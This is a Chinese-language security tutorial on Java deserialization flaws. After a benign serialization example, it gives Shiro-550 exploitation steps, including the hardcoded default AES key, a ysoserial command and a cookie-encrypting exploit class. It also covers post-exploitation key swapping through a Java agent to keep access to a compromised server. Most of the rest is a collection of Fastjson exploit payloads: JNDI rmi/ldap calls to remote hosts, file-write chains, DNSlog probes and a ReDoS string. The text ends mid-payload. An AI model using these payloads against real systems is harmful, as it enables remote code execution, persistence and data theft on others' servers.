什么是序列化与反序列化
- Java 序列化是指把 Java 对象转换为字节序列的过程。
- Java 反序列化是指把字节序列恢复为 Java 对象的过程。
序列化的作用
- 实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上。
- 利用序列化实现远程通信,即在网络上传递对象的字节序列。
序列化与反序列化实现
JDK类库中的序列化API: 使用到JDK中关键类 ObjectOutputStream(对象输出流) 和ObjectInputStream(对象输入流) ObjectOutputStream 类中:通过使用 writeObject(Object object) 方法,将对象以二进制格式进行写入。 ObjectInputStream 类中:通过使用 readObject()方法,从输入流中读取二进制流,转换成对象。
目标对象实现 Serializable 接口 新建一个Users类,实现Serializable接口,并且生成版本号
package org.joychou.test;
import java.io.Serializable;
public class Users implements Serializable {
private static final long serialVersionUID = 3919559144903359124L;
private int age;
private String name;
private String sex;
public int getAge() {
return age;
}
public String getName() {
return name;
}
public String getSex() {
return sex;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
public void setSex(String sex) {
this.sex = sex;
}
@Override
public String toString() {
return "Users{" +
"age=" + age +
", name='" + name + '\'' +
", sex='" + sex + '\'' +
'}';
}
}
serialVersionUID 序列化版本号的作用是用来区分我们所编写的类的版本,取值是 Java 运行时环境根据类的内部细节自动生成的。如果对类的源代码作了修改,再重新编译,新生成的类文件的 serialVersionUID 的取值有可能也会发生变化。
【一一帮助安全学习,所有资源获取处一一】 ①网络安全学习路线 ②20份渗透测试电子书 ③安全攻防357页笔记 ④50份安全攻防面试指南 ⑤安全红队渗透工具包 ⑥信息收集80条搜索语法 ⑦100个漏洞实战案例 ⑧安全大厂内部视频资源 ⑨历年CTF夺旗赛题解析 序列化和反序列化Person类对象
package org.joychou.test;
import java.io.*;
public class TestObjSerializeAndDeserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
TestObjSerializeAndDeserialize.SerializeUsers();
TestObjSerializeAndDeserialize.DeserializeUsers();
}
private static void SerializeUsers() throws IOException {
Users users = new Users();
users.setAge(20);
users.setName("Tom");
users.setSex("male");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxxx/Desktop/Users.ser"));
objectOutputStream.writeObject(users);
System.out.println("序列化完成!");
objectOutputStream.close();
}
private static void DeserializeUsers() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("Users/xxxx/Desktop/Users.ser"));
Users users = (Users) objectInputStream.readObject();
System.out.println("反序列化完成");
System.out.println(users.toString());
}
}
cat查看序列化后的二进制文件数据,Java的为乱码
0x01 常见的存在反序列化漏洞框架
Shiro
Shiro 是一款轻量化的权限管理框架,能够较方便的实现用户验权,请求拦截等功能,同类型的框架是我们的 Spring Security ,相比之下 Spring Security 提供了更多的功能,我们这里来简单的介绍一下 Shiro 架构中主要有三个核心的概念:Subject, SecurityManager, Realms
Subject:代表当前的用户 SecurityManager:管理者所有的 Subject ,在官方文档中描述其为 Shiro 架构的核心 Realms:SecurityManager的认证和授权需要使用Realm,Realm负责获取用户的权限和角色等信息,再返回给SecurityManager来进行判断,在配置 Shiro 的时候,我们必须指定至少一个Realm 来实现认证(authentication)和/或授权(authorization) 我们需要实现Realms的Authentication 和 Authorization。其中 Authentication 是用来验证用户身份,Authorization 是授权访问控制,用于对用户进行的操作授权,证明该用户是否允许进行当前操作,如访问某个链接,某个资源文件等 下面是自己实现的 Realm,这里我们实现了认证的方法
这里的 getPrincipal 其实就是获取我们登录的用户名,getCredentials 其实就是我们登录的密码 我们这里的逻辑大致就是 如果获取到的用户名等于 admin 同时密码也为 admin那么就返回 AuthenticationInfo AuthenticationInfo会携带存储起来的正确的用户认证信息,用来与用户提交的信息进行比对,如果信息不匹配,那么会认证失败
Shiro-550漏洞原理
在Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。 服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:
- 检索RememberMe Cookie的值
- 进行Base64解码
- 进行AES解码
- 进行反序列化操作,sink点readObject()。
在第4步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。 由于使用了AES加密,成功利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==
漏洞检测
Shiro主要检测思路有三种
-
第一种是使用yso下的URLDNS利用链进行检测 -
第二种是使用yso下cc利用链进行盲打,生成ping dnslog payload,如果key正确,dnslog会收到请求 -
前面两种思路都是使用dnslog进行测试,但是如果我们的目标不出网的情况下,只能使用CC链盲打,判断延迟。这种情况也会存在一些小问题,如果目标不出网,同时利用链不是CC的情况下,我们就会错过一些漏洞。其实在很多的文章里面都提到了一种思路,构造一个继承 PrincipalCollection的序列化对象(SimplePrincipalCollection),将我们的payload放进rememberMe里面,key正确情况下Set-Cookie不返回 deleteMe,key错误情况下Set-Cookie返回 deleteMe。
原理: 首先看一下为什么当key错误时,Set-Cookie会返回deleteMe。 找到我们的shiro-core/1.2.4/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class ,这个类主要是用来处理rememberMe的逻辑代码,核心点在AbstractRememberMeManager#getRememberedPrincipals 这段代码中。
在118行设置断点
下面我们开始debug,启动项目 下面我们分别来看两种情况
- 当AES的key不正确的情况下
把rememberMe的值改成1 调用convertBytesToPrincipals 方法,跟进convertBytesToPrincipals 方法 发现137行调用了decrypt解密 然后167行接着调用解密 AES解密算法,因为我们的key错误,这里直接抛异常了 直接被上一部分的代码捕捉到 跟进我们的核心代码onRememberedPrincipalFailure 方法,继续跟进forgetIdentity 方法 在forgetIdentity 方法当中从subjectContext 对象获取request 和response ,继续由forgetIdentity(HttpServletRequest request, HttpServletResponse response) 这个构造方法处理。 跟进forgetIdentity(HttpServletRequest request, HttpServletResponse response) ,看到一个removeFrom 方法。 继续跟进removeFrom 方法,发现了给我们的Cookie 增加deleteMe 字段的位置了 结果: key正确的情况下,不返回deleteMe ,可以自行调试 key正确,会使用deserialize 方法进行反序列化,PrincipalCollection 是个接口
所以我们需要构造一个继承PrincipalCollection 的序列化对象 Poc:
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
漏洞复现
使用SpringBoot,Shiro-1.2.24搭建测试环境
因为yso中使用的是commons-beanutils-1.9.2,而shiro core中使用的是commons-beanutils1.8.3,我们使用改造后的ysoserial生成CommonsBeanutils_183的Gadget
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils_183 "open -a Calculator" > poc.ser
使用Shiro内置的默认密钥对Payload进行加密:
package ysoserial.util;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class AESencode {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Users/xxxxx/ysoserial-new/poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
发送生成的rememberMe Cookie,命令执行成功:
Shiro 后渗透-使用Agent技术修改key
什么是java agent?
在JDK1.5以后,我们可以使用agent技术构建一个独立于应用程序的代理程序(即为Agent),用来协助监测、运行甚至替换其他JVM上的程序。Agent分为两种,一种是在主程序之前运行的Agent,一种是在主程序之后运行的Agent(前者的升级版,1.6以后提供)。
学习Java Agent除了可以做RASP 等产品,我们还可以做一些趣味性事情,比如我们可以使用Agent机制实现Java商业软件破解,我们常用的IntelliJ IDEA破解工具 就是使用Agent方式动态修改License类校验逻辑来实现破解的。
为什么要获取shiro的key?
- 可以方便我们快速的实现内网横向,毕竟shiro这个漏洞利用已经非常非常成熟了。
- 可以将这个key加入我们key字典中,方便之后的项目中测试。
- 如果我们修改key,但我们一失手忘记掉了key,也还要补救的措施。
- 如果点掉了,可以通过shiro这个入口快速重新切进去。
使用demo环境进行测试:
-
首先可以确定环境的key是默认的,并且是可以执行命令的。 -
上传AgentInjectTool到目标服务器,执行命令java -jar AgentInjectTool.jar list ,获取shiro环境启动的pid. -
执行命令java -jar AgentInjectTool.jar inject {pid} {file.txt|shirokey}
触发获取key操作,需要我们手动发送请求登录请求,无论正确与否均可。比例说使用工具的检测当前密钥功能
生成新key,尝试注入
新key测试成功
修改shirokey原理:
通过Java Agent,我们可以hook想要的所有类,并且也能修改其代码逻辑,加入自己想要的功能。修改shiro的key需要调用内存中的AbstractRememberMeManager对象的setCipherKey方法,才能实现修改shiro的key的目的。
缺点: 由于已经用了新key,已登录的用户会话会失效,导致影响业务,慎重使用。
Fastjson
漏洞原理
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
autotype功能:允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。
通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
AutoType黑名单机制 既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的,自然最简单的做法就是在反序列化时首先校验传入的Class是否在黑名单Class列表中,FastJson中通过Hash算法,将一系列存在安全风险的Class全路径的Hash值存储在黑名单中,代码如下
Fastjson 低版本 1.2.25-1.2.42明文黑名单。
判断fastjson和jackson
如果请求包中的 json 如下:
{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"agsbdkjada__ss_d":123}
这里 fastjson 是不会报错的
Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显
漏洞poc
- 有回显
如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样 - 无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson,使用以下payload测试
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形的
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
嵌套在里面zeo里面
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:
- 通过DOS延迟方式判断
Fastjson1.2.36 - 1.2.62正则表达式拒绝服务漏洞
{"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
Fastjson < 1.2.60 在取不到值的时候会填充\u001a ,使用{"a:"\x 进行请求就会发生DOS
漏洞exp
多版本payload 影响版本:fastjson<=1.2.24 exp:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
影响版本:fastjson<=1.2.41 前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
影响版本:fastjson<=1.2.42 前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) exp:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影响版本:fastjson<=1.2.43 前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) exp:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影响版本:fastjson<=1.2.45 前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"ldap://localhost:1399/Exploit"}}
影响版本:fastjson<=1.2.47 exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}
影响版本:fastjson<=1.2.62 exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
影响版本:fastjson<=1.2.66 前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
影响版本:fastjson<=1.2.68 JRE 8 下的写文件利用链 PoC,这个利用链仅仅存在centos中,sun.rmi.server.MarshalOutputStream在win下是没有的
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}
commons-io 2.0 - 2.6 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
commons-io 2.7 - 2.8.0 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
总结:
-
jndi(需要出网)
- JdbcRowSetImpl
- C3p0#JndiRefForwardingDataSource
- JndiDataSourceFactory
- shiro#JndiObjectFactory
- shiro#JndiRealmFactory
-
BCEL(不出网利用。 需要注意在Java 8u251以后,bcel类被删除) BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel Poc: {
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
|